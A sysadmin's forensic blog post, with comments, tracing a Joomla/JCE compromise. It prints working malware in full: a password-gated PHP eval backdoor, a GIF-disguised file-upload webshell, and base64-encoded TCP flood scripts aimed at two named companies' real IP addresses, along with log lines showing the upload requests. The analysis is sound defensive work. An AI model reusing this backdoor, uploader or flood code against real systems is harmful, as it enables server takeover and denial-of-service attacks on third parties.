Outdated Joomla websites with JCE used to attack Beneficial Data Processing Corp and Regions Financial Corporation

Seeing requests to //tmp/wegh.php in Apache logs is probably not a good sign. Few days ago I wrote about how important paranoid firewall-output filtering is on a shared hosting server, today I’ll take a closer look on the next Joomla hack found active today. This time the “hacker” tried to attack the IP addresses 161.113.4.6 and 205.255.243.11 belonging to Beneficial Data Processing Corp and Regions Financial Corporation.

Detection

This one was detected just by watching server-status of Apache. I noticed few requests for //tmp/wegh.php, and this looks so obvious, please, and of course the content of the corresponding wegh.php file was:

<?php
@set_time_limit(0);
@error_reporting(NULL);
@ini_set('display_errors',0);
@ignore_user_abort(TRUE);

if(md5(md5($_REQUEST['psbt']))=='69a6ba5251f11030958c00e16d2c4602' and $_REQUEST['mjdu']!=NULL)
{
        $_REQUEST['mjdu']=str_replace('\\"','"',$_REQUEST['mjdu']);
        $_REQUEST['mjdu']=str_replace("\\'","'",$_REQUEST['mjdu']);
        eval($_REQUEST['mjdu']);

        die();
        exit();
}
else
{
        echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server </p><p>Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request</p></body ></html >';die();exit();
}
?>

I decided to checkout what the kids want, and I added the following after the line with eval:

$logfile = 'log.txt';
$fh = fopen($logfile, 'a');
fwrite($fh, $_REQUEST['mjdu'] . "\n\n\n");
fclose($fh);

After a while, in logs.txt:

eval(base64_decode("DQokaWlpPScxNjEuMTEzLjQuNic7DQokcHBwPSc4MC01My00NDMnOw0KJGRkZD0nMjAwMCc7DQokc3N0dD0nNjAnOw0KJHJydHQ9JzIyJzsNCiRwcHNzPScxLTEwJzsNCg0KJGFyX3Bvcj1leHBsb2RlKCctJywkcHBwKTsNCiRhcl9wYWtzPWV4cGxvZGUoJy0nLCRwcHNzKTsNCg0KaWYoZmlsZV9leGlzdHMoInN0ZXh0LnR4dCIpKQ0Kew0KCSRmZnA9Zm9wZW4oInN0ZXh0LnR4dCIsInIiKTsNCgkkcnI9ZnJlYWQoJGZmcCw4KTsNCglmY2xvc2UoJGZmcCk7DQoJaWYoJHJyPT0iTm9UdEV4VHJVbiIpDQoJew0KCQkkZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTsNCgkJZmNsb3NlKCRmZnAyKTsNCgkJdW5saW5rKCJzdGV4dC50eHQiKTsNCgkJZXhpdCgpOw0KCQlkaWUoKTsNCgl9DQoJdW5saW5rKCJzdGV4dC50eHQiKTsNCn0NCg0KJHN0ZXBfdGltZT10aW1lKCkrJHNzdHQ7DQokcmVsZWFzZV90aW1lPXRpbWUoKSskcnJ0dDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWyd0aW1lX2UnXSkpDQp7DQoJJG1heF90aW1lID0gJF9SRVFVRVNUWyd0aW1lX2UnXTsNCn0NCmVsc2UNCnsNCgkkdGltZSA9IHRpbWUoKTsNCgkkbWF4X3RpbWUgPSAkdGltZSskZGRkOw0KfQ0KCSRvdXQ9c3RyX3JlcGVhdChjaHIocmFuZCgwLDI1NSkpLCByYW5kKCRhcl9wYWtzWzBdLCRhcl9wYWtzWzFdKSk7DQokZmlyc3QxPTA7DQp3aGlsZSh0aW1lKCkgPCAkbWF4X3RpbWUpDQp7CQ0KCWlmKHRpbWUoKSA+ICRyZWxlYXNlX3RpbWUgJiYgJGZpcnN0MT09MCkNCgl7DQoJCSRmaXJzdDE9MTsNCgkJJGFkZHJlc3NfaG9zdD0iaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCgkJJGRhdGExWydtamR1J109JF9SRVFVRVNUWydtamR1J107DQoJCSRkYXRhMVsncHNidCddPSRfUkVRVUVTVFsncHNidCddOw0KCQkkZGF0YTFbJ3RpbWVfZSddPSRtYXhfdGltZTsNCgkJJGNoMSA9QGN1cmxfaW5pdCgpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRhZGRyZXNzX2hvc3QpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsRkFMU0UpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMik7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9IRUFERVIsMSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwwKTsNCgkJY3VybF9zZXRvcHQoJGNoMSxDVVJMT1BUX1RJTUVPVVQsMTApOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YTEpOw0KCQljdXJsX2V4ZWMoJGNoMSk7DQoJCWN1cmxfY2xvc2UoJGNoMSk7DQoJfQ0KCWlmKHRpbWUoKSA+ICRzdGVwX3RpbWUpDQoJew0KCQlAZXhpdCgpOw0KCQlAZGllKCk7DQoJfQ0KCWZvcmVhY2goJGFyX3BvciBhcyAkcG9yKQ0KCXsNCgkJJHNvY2tldCA9IEBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8vJGlpaTokcG9yIiwkZXJyLCRlcnIyLDEsU1RSRUFNX0NMSUVOVF9BU1lOQ19DT05ORUNUKTsNCgkJaWYgKCRzb2NrZXQpIA0KCQl7DQoJCQlAc3RyZWFtX3NldF93cml0ZV9idWZmZXIoJHNvY2tldCwgMCk7DQoJCQlAc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2tldCwkb3V0KTsNCgkJfQ0KCQlAZmNsb3NlKCRzb2NrZXQpOzsNCgl9DQoJDQp9DQokZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTtmY2xvc2UoJGZmcDIpO3VubGluaygic3RleHQudHh0Iik7"));


eval(base64_decode("DQokaWlpPScyMDUuMjU1LjI0My4xMSc7DQokcHBwPSc4MC01My00NDMnOw0KJGRkZD0nMTIwMCc7DQokc3N0dD0nNjAnOw0KJHJydHQ9JzIyJzsNCiRwcHNzPScxLTEwJzsNCg0KJGFyX3Bvcj1leHBsb2RlKCctJywkcHBwKTsNCiRhcl9wYWtzPWV4cGxvZGUoJy0nLCRwcHNzKTsNCg0KaWYoZmlsZV9leGlzdHMoInN0ZXh0LnR4dCIpKQ0Kew0KCSRmZnA9Zm9wZW4oInN0ZXh0LnR4dCIsInIiKTsNCgkkcnI9ZnJlYWQoJGZmcCw4KTsNCglmY2xvc2UoJGZmcCk7DQoJaWYoJHJyPT0iTm9UdEV4VHJVbiIpDQoJew0KCQkkZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTsNCgkJZmNsb3NlKCRmZnAyKTsNCgkJdW5saW5rKCJzdGV4dC50eHQiKTsNCgkJZXhpdCgpOw0KCQlkaWUoKTsNCgl9DQoJdW5saW5rKCJzdGV4dC50eHQiKTsNCn0NCg0KJHN0ZXBfdGltZT10aW1lKCkrJHNzdHQ7DQokcmVsZWFzZV90aW1lPXRpbWUoKSskcnJ0dDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWyd0aW1lX2UnXSkpDQp7DQoJJG1heF90aW1lID0gJF9SRVFVRVNUWyd0aW1lX2UnXTsNCn0NCmVsc2UNCnsNCgkkdGltZSA9IHRpbWUoKTsNCgkkbWF4X3RpbWUgPSAkdGltZSskZGRkOw0KfQ0KCSRvdXQ9c3RyX3JlcGVhdChjaHIocmFuZCgwLDI1NSkpLCByYW5kKCRhcl9wYWtzWzBdLCRhcl9wYWtzWzFdKSk7DQokZmlyc3QxPTA7DQp3aGlsZSh0aW1lKCkgPCAkbWF4X3RpbWUpDQp7CQ0KCWlmKHRpbWUoKSA+ICRyZWxlYXNlX3RpbWUgJiYgJGZpcnN0MT09MCkNCgl7DQoJCSRmaXJzdDE9MTsNCgkJJGFkZHJlc3NfaG9zdD0iaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCgkJJGRhdGExWydtamR1J109JF9SRVFVRVNUWydtamR1J107DQoJCSRkYXRhMVsncHNidCddPSRfUkVRVUVTVFsncHNidCddOw0KCQkkZGF0YTFbJ3RpbWVfZSddPSRtYXhfdGltZTsNCgkJJGNoMSA9QGN1cmxfaW5pdCgpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRhZGRyZXNzX2hvc3QpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsRkFMU0UpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMik7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9IRUFERVIsMSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwwKTsNCgkJY3VybF9zZXRvcHQoJGNoMSxDVVJMT1BUX1RJTUVPVVQsMTApOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YTEpOw0KCQljdXJsX2V4ZWMoJGNoMSk7DQoJCWN1cmxfY2xvc2UoJGNoMSk7DQoJfQ0KCWlmKHRpbWUoKSA+ICRzdGVwX3RpbWUpDQoJew0KCQlAZXhpdCgpOw0KCQlAZGllKCk7DQoJfQ0KCWZvcmVhY2goJGFyX3BvciBhcyAkcG9yKQ0KCXsNCgkJJHNvY2tldCA9IEBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8vJGlpaTokcG9yIiwkZXJyLCRlcnIyLDEsU1RSRUFNX0NMSUVOVF9BU1lOQ19DT05ORUNUKTsNCgkJaWYgKCRzb2NrZXQpIA0KCQl7DQoJCQlAc3RyZWFtX3NldF93cml0ZV9idWZmZXIoJHNvY2tldCwgMCk7DQoJCQlAc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2tldCwkb3V0KTsNCgkJfQ0KCQlAZmNsb3NlKCRzb2NrZXQpOzsNCgl9DQoJDQp9DQokZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTtmY2xvc2UoJGZmcDIpO3VubGluaygic3RleHQudHh0Iik7"));

and after decoding:

$iii='161.113.4.6';
$ppp='80-53-443';
$ddd='2000';
$sstt='60';
$rrtt='22';
$ppss='1-10';

$ar_por=explode('-',$ppp);
$ar_paks=explode('-',$ppss);

if(file_exists("stext.txt"))
{
    $ffp=fopen("stext.txt","r");
    $rr=fread($ffp,8);
    fclose($ffp);
    if($rr=="NoTtExTrUn")
    {
        $ffp2=fopen("stext.txt","w+");
        fclose($ffp2);
        unlink("stext.txt");
        exit();
        die();
    }
    unlink("stext.txt");
}

$step_time=time()+$sstt;
$release_time=time()+$rrtt;

if(isset($_REQUEST['time_e']))
{
    $max_time = $_REQUEST['time_e'];
}
else
{
    $time = time();
    $max_time = $time+$ddd;
}
    $out=str_repeat(chr(rand(0,255)), rand($ar_paks[0],$ar_paks[1]));
$first1=0;
while(time() < $max_time)
{   
    if(time() > $release_time && $first1==0)
    {
        $first1=1;
        $address_host="http://".$_SERVER['HTTP_HOST']."/".$_SERVER['PHP_SELF'];
        $data1['mjdu']=$_REQUEST['mjdu'];
        $data1['psbt']=$_REQUEST['psbt'];
        $data1['time_e']=$max_time;
        $ch1 =@curl_init();
        curl_setopt($ch1,CURLOPT_URL,$address_host);
        curl_setopt($ch1,CURLOPT_SSL_VERIFYPEER,FALSE);
        curl_setopt($ch1,CURLOPT_SSL_VERIFYHOST,2);
        curl_setopt($ch1,CURLOPT_HEADER,1);
        curl_setopt($ch1,CURLOPT_RETURNTRANSFER,0);
        curl_setopt($ch1,CURLOPT_TIMEOUT,10);
        curl_setopt($ch1,CURLOPT_POST, true);
        curl_setopt($ch1,CURLOPT_POSTFIELDS, $data1);
        curl_exec($ch1);
        curl_close($ch1);
    }
    if(time() > $step_time)
    {
        @exit();
        @die();
    }
    foreach($ar_por as $por)
    {
        $socket = @stream_socket_client("tcp://$iii:$por",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT);
        if ($socket) 
        {
            @stream_set_write_buffer($socket, 0);
            @stream_socket_sendto($socket,$out);
        }
        @fclose($socket);;
    }

}
$ffp2=fopen("stext.txt","w+");fclose($ffp2);unlink("stext.txt");

and the other one:

$iii='205.255.243.11';
$ppp='80-53-443';
$ddd='1200';
$sstt='60';
$rrtt='22';
$ppss='1-10';

$ar_por=explode('-',$ppp);
$ar_paks=explode('-',$ppss);

if(file_exists("stext.txt"))
{
    $ffp=fopen("stext.txt","r");
    $rr=fread($ffp,8);
    fclose($ffp);
    if($rr=="NoTtExTrUn")
    {
        $ffp2=fopen("stext.txt","w+");
        fclose($ffp2);
        unlink("stext.txt");
        exit();
        die();
    }
    unlink("stext.txt");
}

$step_time=time()+$sstt;
$release_time=time()+$rrtt;

if(isset($_REQUEST['time_e']))
{
    $max_time = $_REQUEST['time_e'];
}
else
{
    $time = time();
    $max_time = $time+$ddd;
}
    $out=str_repeat(chr(rand(0,255)), rand($ar_paks[0],$ar_paks[1]));
$first1=0;
while(time() < $max_time)
{   
    if(time() > $release_time && $first1==0)
    {
        $first1=1;
        $address_host="http://".$_SERVER['HTTP_HOST']."/".$_SERVER['PHP_SELF'];
        $data1['mjdu']=$_REQUEST['mjdu'];
        $data1['psbt']=$_REQUEST['psbt'];
        $data1['time_e']=$max_time;
        $ch1 =@curl_init();
        curl_setopt($ch1,CURLOPT_URL,$address_host);
        curl_setopt($ch1,CURLOPT_SSL_VERIFYPEER,FALSE);
        curl_setopt($ch1,CURLOPT_SSL_VERIFYHOST,2);
        curl_setopt($ch1,CURLOPT_HEADER,1);
        curl_setopt($ch1,CURLOPT_RETURNTRANSFER,0);
        curl_setopt($ch1,CURLOPT_TIMEOUT,10);
        curl_setopt($ch1,CURLOPT_POST, true);
        curl_setopt($ch1,CURLOPT_POSTFIELDS, $data1);
        curl_exec($ch1);
        curl_close($ch1);
    }
    if(time() > $step_time)
    {
        @exit();
        @die();
    }
    foreach($ar_por as $por)
    {
        $socket = @stream_socket_client("tcp://$iii:$por",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT);
        if ($socket) 
        {
            @stream_set_write_buffer($socket, 0);
            @stream_socket_sendto($socket,$out);
        }
        @fclose($socket);;
    }

}
$ffp2=fopen("stext.txt","w+");fclose($ffp2);unlink("stext.txt");

Stop the attack

A quick way is to disable access to *.php using a .htaccess file, containing:

<Files *.php>
Deny from all
</Files>

Investigate

It’s good to know what gave the attacker the possibility to upload malicious code to a poorly administered and outdated Joomla website. The answer is obvious, but… First we check Apache logs for requests for wegh.php:

81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"
81.30.156.44 - - [27/Mar/2013:13:13:33 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 262 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"
200.98.246.211 - - [27/Mar/2013:15:07:24 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
X.X.X.X - - [27/Mar/2013:15:07:30 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:07:36 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:07:43 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:07:49 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:07:55 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:01 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:07 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:13 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:19 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:25 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X - - [27/Mar/2013:15:08:31 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"

X.X.X.X is the IP address assigned to the vhost containing /tmp/wegh.php, and because wegh.php is constructed this way that it requests itself in a loop, the logged originating IP will be the vhost‘s IP – not the attackers IP. But what is more interesting now are lines 1-3 of logs shown above, they give us the IP addresses which made the first requests to wegh.php, and what we really need to know is how wegh.php was uploaded, that’s why we take a closer look at IP addresses 81.30.156.44 and 200.98.246.211:

Only two requests from 81.30.156.44:

81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"
81.30.156.44 - - [27/Mar/2013:13:13:33 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 262 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"

and multiple requests from 200.98.246.211:

200.98.246.211 - - [27/Mar/2013:15:07:24 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:15:14:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 186 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:15:17:11 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:15:27:25 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:15:38:50 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:15:56:26 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:16:39:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:17:06:19 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:17:28:28 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:18:24:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:18:36:52 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:18:53:55 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:19:28:41 +0100] "POST /tmp/wegh.php HTTP/1.1" 500 213 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:20:03:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:20:15:42 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:20:42:18 +0100] "POST /tmp/wegh.php HTTP/1.1" 500 213 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:21:09:19 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
200.98.246.211 - - [27/Mar/2013:21:20:23 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"

Entries for 200.98.246.211 are rather uninteresting, but entries for 81.30.156.44 contain a hint:

81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"

So probably, wegh.php was uploaded using php.class.php. Let’s make sure and check the content of php.class.php:

GIF89aP
<?php
print("Direct Access Not Allowed");
if( $_GET['token'] == "up" ) {
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
        echo '<b>O.K</b><br><br>'; 
    }
    else { 
        echo '<b>K.O</b><br><br>'; 
    }
}
}
?>

Yes. Now, we need to know, how php.class.php was uploaded to /tmp. I check the first requests for php.class.php:

204.93.60.138 - - [27/Mar/2013:07:13:32 +0100] "GET /tmp/php.class.php HTTP/1.1" 200 204 "-" "libwww-perl/6.02"
81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"

and now check, what other things were accessed by 204.93.60.138:

204.93.60.138 - - [27/Mar/2013:07:13:27 +0100] "GET /components/com_jce/css/popup.css HTTP/1.1" 200 659 "-" "libwww-perl/6.02"
204.93.60.138 - - [27/Mar/2013:07:13:27 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02"
204.93.60.138 - - [27/Mar/2013:07:13:30 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02"
204.93.60.138 - - [27/Mar/2013:07:13:30 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 399 "-" "libwww-perl/6.02"
204.93.60.138 - - [27/Mar/2013:07:13:31 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02"
204.93.60.138 - - [27/Mar/2013:07:13:32 +0100] "GET /tmp/php.class.php HTTP/1.1" 200 204 "-" "libwww-perl/6.02"

and there is the answer. Probably an outdated Joomla + outdated JCE. Just Google for ‘joomla imgmanager exploit’ or ‘joomla jce exploit’ or see link below for more information. The attacker probably used the AmnPardaz Security Research Team – Joomla JCE 2.0.10 Shell Upload exploit.

Prevention

  • Never use outdated software, keep Joomla up to date. Security is a process!
  • Protect directories used for storing uploaded files (i.e. /tmp).
  • Hire a responsible webmaster.

Related entries

External links

9 thoughts on “Outdated Joomla websites with JCE used to attack Beneficial Data Processing Corp and Regions Financial Corporation

  1. Mary

    Good forensic, just found similar filer at a unatended joomla at my server. So what do you think is the purpose of wegh.php file, to call itself in a loop to make a DoS attack?

    Reply
    1. Thomas Szteliga Post author

      Thank You Mary, wegh.php is used to receive commands from the attacker and execute the malicious code that arrives in $_REQUEST['mjdu']. If You have an ongoing attack, just modify my example, I did:

      $logfile = 'log.txt';
      $fh = fopen($logfile, 'a');
      fwrite($fh, $_REQUEST['mjdu'] . "\n\n\n");
      fclose($fh);
      

      but I see now, I’m missing the content of $_REQUEST['psbt'], so You could do this instead:

      $logfile = 'log.txt';
      $fh = fopen($logfile, 'a');
      fwrite($fh, $_REQUEST['mjdu'] . "\n\n\n");
      fwrite($fh, $_REQUEST['psbt'] . "\n\n\n");
      fclose($fh);
      

      and share the content $_REQUEST['psbt'] with me.

      So the complete wegh.php should look like this:

      <?php
      @set_time_limit(0);
      @error_reporting(NULL);
      @ini_set('display_errors',0);
      @ignore_user_abort(TRUE);
      
      if(md5(md5($_REQUEST['psbt']))=='69a6ba5251f11030958c00e16d2c4602' and $_REQUEST['mjdu']!=NULL)
      {
              $_REQUEST['mjdu']=str_replace('\\"','"',$_REQUEST['mjdu']);
              $_REQUEST['mjdu']=str_replace("\\'","'",$_REQUEST['mjdu']);
              eval($_REQUEST['mjdu']);
              // --%<----%<----%<----%<----%<----%<--
              $logfile = 'log.txt';
              $fh = fopen($logfile, 'a');
              fwrite($fh, $_REQUEST['mjdu'] . "\n\n\n");
              fwrite($fh, $_REQUEST['psbt'] . "\n\n\n");
              fclose($fh);
              // -->%---->%---->%---->%---->%---->%--
              die();
              exit();
      }
      else
      {
              echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server </p><p>Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request</p></body ></html >';die();exit();
      }
      ?>
      

      And wait for new entries in log.txt (make it writable).

      wegh.php receives $_REQUEST['mjdu'] and $_REQUEST['psbt'], we already know what is in mjdu, maybe it’s good to know what’s in psbt, who knows ;) IMHO there will be some kind of password, so the attacker can be “sure”, his botnet will respond only when a proper psbt value was given.

      Now it looks for me this way:

      1. php.class.php is uploaded to /tmp via outdated Joomla plugin
      2. wegh.php is uploaded via php.class.php
      3. Attacker sends POST request to wegh.php containing $_REQUEST['mjdu'] (the malicious code) and $_REQUEST['psbt'] (content currently unknown)
      4. wegh.php executes (eval) the content of $_REQUEST['mjdu']
      5. The code in $_REQUEST['mjdu'] will call istelf (via wegh.php) in a loop and send random junk, in a loop, to the IP address specified in $iii, and ports defined in $ppp. The most important parts of $_REQUEST['mjdu']:
      $iii='161.113.4.6';  // victim
      $ppp='80-53-443'; // ports on victim
      $ppss='1-10'; // length of junk/random content
      $ar_por=explode('-',$ppp); // array containing ports defined in $ppp
      $ar_paks=explode('-',$ppss); // array containing min/max length for junk string 
      // generating some random junk data
      $out=str_repeat(chr(rand(0,255)), rand($ar_paks[0],$ar_paks[1]));
      // this loop can probably generate high CPU loads when the
      // firewall rejects outgoing connections instead of dropping
      // but wait - rejecting is OK, dropping would be very stupid :-)
      while(time() < $max_time)
      {  
          // iterate ports (80,53,443)
          foreach($ar_por as $por)
          {
              // connect to victim:port
              $socket = @stream_socket_client("tcp://$iii:$por",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT);
              if ($socket)
              {
                  @stream_set_write_buffer($socket, 0);
                  // send junk to victim
                  @stream_socket_sendto($socket,$out);
              }
              @fclose($socket);;
          }
          // and again...
      }
      

      I hope Markdown is working on my comments to, if not, I’ll correct this in a few days ;-)

      Reply
    2. Thomas Szteliga Post author

      And to finally answer Your question, yes – in this case wegh.php it was used to DoS 161.113.4.6 and 205.255.243.11, but it could be used to do “anything” because of this line:

      eval($_REQUEST['mjdu']);
      

      wegh.php is just an utility for the attacker and the actual “damage” is done by the code received via POST in $_REQUEST['mjdu'].

      Reply
      1. Mary

        Hi Thomas, thanks for the quick answer,

        I’m noticing very high traffic and CPU load (due to apache2) for few days, yesterday also, and I found the code of the wegh.php into the /tmp of the hacked joomla.

        Logs on apache points to day 10th april, very recent, when they uploaded php.class.php. My first reaction after reading your post was to close the doamin with a apache auth, because the high traffic and CPU are affecting other domains and users of the server, however, I find interesting to make the forensic job and find out more info if possible, so I removed the eval() call and added the fwrite function to try to log anything before they notice it does not work.

        I’ll let you know how it goes. JCE patched now to avoid reupload of files.

        Reply
  2. Mary

    Update: The night I wrote this, I closed the website with an Apache Basic Auth Login. The next morning I prepared the modified wegh.php and removed the Apache Auth. The next night I checked if there was a log.txt file, but there wasn’t. I checked Apache logs and there was a call to the wegh.php file, but it was done over the previous night I had the site closed, so there was a 401 error, and the attacker has not tried to access the script any more since then.

    UMMMM, I wish I had done it quicker just after reading your post. Shit!!!

    Reply
  3. Caracalcal

    Yeah, I had this, too, but the script uploaded had another name. Anyway, I wish that I have found this site earlier…just to dig more and see what exactly the attacker does. I could try and unsecure the joomla installation, just to make a honeypot :)
    Thanks for the article and nice digging.

    Reply
    1. Thomas Szteliga Post author

      Thank You :-) If it’s not a big problem, please let me know how the file was named in Your case, I’ll add it to this post tags, because I’ve seen threads, where people suggest reinstalling the whole system ;-)

      Reply
  4. Treeguard

    Thank you for this article. I got the same from south asian ip addresses at fixed times every hour.

    Reply

Leave a Reply